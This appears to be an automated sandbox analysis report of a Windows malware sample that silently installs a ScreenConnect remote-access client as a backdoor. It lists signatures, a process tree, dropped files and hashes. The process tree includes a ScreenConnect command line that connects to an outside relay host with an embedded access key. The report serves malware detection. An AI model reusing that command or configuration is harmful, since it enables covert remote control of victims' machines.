Analysis

  • max time kernel
    150s
  • max time network
    161s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    20/07/2026, 22:17

General

  • Target
    2026-07-20_28462ed5794a057f84910efdf933574c_glassworm_megazord_njrat.exe
  • Size 109.5MB
  • Sample260720-17js4afx9q
  • SHA256 b90a1bc742bfa9e07dac3885cf706b8c4a8ab60f85e499b198d60f90fc2e1994
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 2 IoCs
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 26 IoCs
  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 22 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 18 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-07-20_28462ed5794a057f84910efdf933574c_glassworm_megazord_njrat.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-20_28462ed5794a057f84910efdf933574c_glassworm_megazord_njrat.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3676
    • C:\Windows\SYSTEM32\msiexec.exe
      "msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\Setup_bc1ee1c0\sc.msi" /quiet /norestart
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:4836
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2228
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding ABA1BB0DE4D87B2E305F1D8DCFC429F8
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:5700
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Windows\Installer\MSI78FF.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240745031 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Drops file in Windows directory
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:4288
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 969184850FFB72CCEEBDEBE363AD5E13 E Global\MSI0000
      2⤵
      • Drops file in Windows directory
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:1440
  • C:\Program Files (x86)\ScreenConnect Client (ce3525b120db45b4)\ScreenConnect.ClientService.exe
    "C:\Program Files (x86)\ScreenConnect Client (ce3525b120db45b4)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=0xahandler.com&p=8041&s=dd53fab8-55e3-4cbe-af07-05f018ad060a&k=BgIAAACkAABSU0ExAAgAAAEAAQAlKJ%2b8B2jsV8dbX0uT48KmK23%2bVh%2bQf8JNrpCRzk%2fT9HQMWXyAf9FUQru5BIcPDROSrHivB%2ffohNRcgaWcIZPfx0WwyG58O7A4aDVASyuwA3575NsaJCayITgQO%2fQwILF9eYcPGWIDfKfiTQrxqXPGxQMywvOvPRy71NzOzOxF%2bRZKQHhV%2fJiURQL0qUppGpcw8tFgITGyLvBjRkQwu4l50QPJiKpz5FlsZCF4JLPcmHx4BgvFThQSpsgQUur9I5SIw9dthFizntdZA6jATEkp5ls0siexrH%2bk7FDkyG7TM7RZrP7CXKEiYep14LOxxtjqylFB%2fLxsDh08TRy9xDq3"
    1⤵
    • Sets service image path in registry
    • Drops file in System32 directory
    • Executes dropped EXE
    • Loads dropped DLL
    • System Location Discovery: System Language Discovery
    • Modifies data under HKEY_USERS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2524
    • C:\Program Files (x86)\ScreenConnect Client (ce3525b120db45b4)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (ce3525b120db45b4)\ScreenConnect.WindowsClient.exe" "RunRole" "a857ca54-6be1-40b9-a054-93d828df284b" "User"
      2⤵
      • Executes dropped EXE
      PID:5956
    • C:\Program Files (x86)\ScreenConnect Client (ce3525b120db45b4)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (ce3525b120db45b4)\ScreenConnect.WindowsClient.exe" "RunRole" "51c2d4ff-fe97-4aeb-8dca-a258b683ef7d" "System"
      2⤵
      • Executes dropped EXE
      • Checks processor information in registry
      • Modifies data under HKEY_USERS
      PID:2400
    • C:\Program Files (x86)\ScreenConnect Client (ce3525b120db45b4)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (ce3525b120db45b4)\ScreenConnect.WindowsClient.exe" "RunRole" "3d66e710-e140-49f3-beb7-bdb7377866d8" "System"
      2⤵
      • Executes dropped EXE
      • Modifies data under HKEY_USERS
      PID:3624
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k GPSvcGroup
    1⤵
      PID:3660

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          e597681.rbs

          • Path C:\Config.Msi\e597681.rbs
          • Size 214KB
          • SHA256 bfb819d24d1ac5c895d0c6bf5bb8cb19603f7410964bd95f3802c9f118c0dd21
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (ce3525b120db45b4)\Client.Override.en-US.resources
          • Size 316B
          • SHA256 cc0f52a92862da80c84c6c59ff7229ffd8db8a5ebf99e9d6ad25ff3b003c8cce
          • MD5 SHA1 SHA512 TLSH

          Client.Override.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (ce3525b120db45b4)\Client.Override.resources
          • Size 465B
          • SHA256 32408185e248c9736a6e75ae1d3e4238d7198c9b0155dfe4ca1a42da99c65759
          • MD5 SHA1 SHA512 TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (ce3525b120db45b4)\Client.en-US.resources
          • Size 49KB
          • SHA256 b26b7a988aba7f94473468cae82846bb672a422b016ed1907d187a5c3bb0f8a0
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (ce3525b120db45b4)\Client.resources
          • Size 28KB
          • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (ce3525b120db45b4)\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 33f8abd5722ab19aeacfe24319cda4433b0bf9b482dad4865685975c11c15534
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (ce3525b120db45b4)\ScreenConnect.ClientService.dll
          • Size 67KB
          • SHA256 554ba93c3c34fc5cf6cb49ac7285069e853aa5543219e012bf0e9ca4400c3255
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (ce3525b120db45b4)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 4fe150116089d55c48748a97985f1d18054db5758020b193ad31d63e849b57f6
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (ce3525b120db45b4)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (ce3525b120db45b4)\ScreenConnect.WindowsClient.exe
          • Size 595KB
          • SHA256 465e9cee277db463677b2b593809e794279d64314b4fa736aa93780a0f7e3975
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (ce3525b120db45b4)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (ce3525b120db45b4)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 837KB
          • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (ce3525b120db45b4)\app.config
          • Size 966B
          • SHA256 8ef5245cb2f1d9965f6ed912c793b78e1dc673a5ac6e21eec617df6e2a14ce34
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (ce3525b120db45b4)\system.config
          • Size 940B
          • SHA256 01c6887f8808beeb763ee75c7f6bf2fc66ecb7ef3f733082a2688196c49fb981
          • MD5 SHA1 SHA512 TLSH

          sc.msi

          • Path C:\Users\Admin\AppData\Local\Temp\Setup_bc1ee1c0\sc.msi
          • Size 12.8MB
          • SHA256 b9fe73006048451d003e933ec96a4e45a8fdb03c0f15b5e2b8617271435dd798
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI78FF.tmp

          • Path C:\Windows\Installer\MSI78FF.tmp
          • Size 1.0MB
          • SHA256 64ddf83b4acb09b518518e07a8ffd0446d256ff842c113efa1cdb6378fdf1018
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Windows\Installer\MSI78FF.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Windows\Installer\MSI78FF.tmp-\ScreenConnect.Core.dll
          • Size 539KB
          • SHA256 51d9dcd755a424b8b3122350bbcc02d453880c39636fb1e0265084161afca983
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Windows\Installer\MSI78FF.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 8f4a00b34720f19b0e67dc957085ad1986e58bb16a1abcc580dab21bcd61382d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Windows\Installer\MSI78FF.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 602a640e2d9f94acfe47d3946f7dd088992431e24b670d40233e1ae6e9e270ad
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI7EDD.tmp

          • Path C:\Windows\Installer\MSI7EDD.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/2228-125-0x0000014FEF8B0000-0x0000014FF0254000-memory.dmp

          memory/2400-124-0x00000000030C0000-0x0000000003101000-memory.dmp

          memory/2524-95-0x0000000004340000-0x0000000004376000-memory.dmp

          memory/2524-87-0x0000000004140000-0x0000000004190000-memory.dmp

          memory/2524-103-0x0000000004380000-0x00000000043C1000-memory.dmp

          memory/2524-105-0x0000000004610000-0x00000000046E5000-memory.dmp

          memory/2524-74-0x0000000001890000-0x00000000018A8000-memory.dmp

          memory/2524-101-0x0000000004420000-0x00000000044B2000-memory.dmp

          memory/3624-135-0x0000000180000000-0x0000000180055000-memory.dmp

          memory/4288-30-0x0000000005640000-0x00000000056CE000-memory.dmp

          memory/4288-22-0x0000000005560000-0x000000000558E000-memory.dmp

          memory/4288-26-0x00000000055A0000-0x00000000055AA000-memory.dmp

          memory/4288-35-0x0000000005FF0000-0x00000000065AA000-memory.dmp

          memory/4288-34-0x0000000005880000-0x0000000005A2C000-memory.dmp

          memory/5956-115-0x00000000009F0000-0x0000000000A88000-memory.dmp

          memory/5956-116-0x000000001B5C0000-0x000000001B5F6000-memory.dmp

          memory/5956-117-0x000000001B9B0000-0x000000001BA3E000-memory.dmp

          memory/5956-118-0x000000001BBF0000-0x000000001BD9C000-memory.dmp

          memory/5956-119-0x000000001BF30000-0x000000001C0B8000-memory.dmp

          memory/5956-120-0x0000000002BC0000-0x0000000002BD8000-memory.dmp

          memory/5956-121-0x000000001B940000-0x000000001B958000-memory.dmp

          memory/5956-122-0x000000001B960000-0x000000001B9A1000-memory.dmp